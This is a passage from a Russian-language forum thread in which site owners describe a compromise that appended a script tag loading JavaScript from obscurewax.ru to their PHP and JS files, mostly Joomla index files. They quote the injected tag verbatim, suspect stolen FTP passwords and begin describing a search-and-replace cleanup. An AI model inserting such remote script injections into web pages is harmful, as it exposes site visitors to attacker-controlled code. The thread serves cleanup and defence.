у меня есть следующий код, добавленный автоматически в мой сценарий...
<script type="text/javascript" src="http://obscurewax.ru/Kilobyte.js"></script>
<!--72628eb2e686638651ad69b6a34a630f-->
в конце моей каждой страницы, когда я вижу исходный код своей страницы, это показывает мне вышеупомянутый код, но когда я открываю тот файл в блокноте или любом программном обеспечении редактирования, это показывает мне только только мой сценарий.. как я могу удалить тот сценарий изо всех моих файлов сразу...
также сообщите мне, почему это происходит до сих пор..
Edit 25-Aug :
Добавлены конкретные домены и записи (ниже)
Обнаружен новый домен nuttypiano.com.
Edit :
Разобрался. Это точно Filezilla перехватывала мои FTP-пароли.
Следите за файлом .htaccess и разрешением файла - похоже, они меняются на 777.
Это случилось и со мной. Он взял все пароли от FTP программы и затем изменил PHP и js файлы, добавив строку
В основном, целью являются index.* файлы, другие файлы - *.js файлы.
Я полагаю, что имя конечного js файла варьируется, но вы можете отследить его с домена obscurewax.ru.
У меня есть около 8-10 сайтов, на которых это произошло. Большинство моих сайтов работают под управлением joomla. По моим наблюдениям, он предпочитает выбирать файлы, начинающиеся со слова index.
При установке joomla, было около 122 файлов, затронутых этим, почти все были в :
joomla_install/administrator
folder.
Скачивание установки joomla с сервера - это мучение, потому что там где-то 4-5 тысяч файлов. Тем не менее, я следую следующей стратегии.
Скачиваю весь сайт в папку, запускаю текстовый поиск (я использую TextCrawler) для :
obscurewax.ru
Обратите внимание на количество файлов и папок, которые имеют это и, что более важно, обратите внимание на все вариации имен js файлов.
Выполните поиск и замену для всех вариантов .js файлов, например :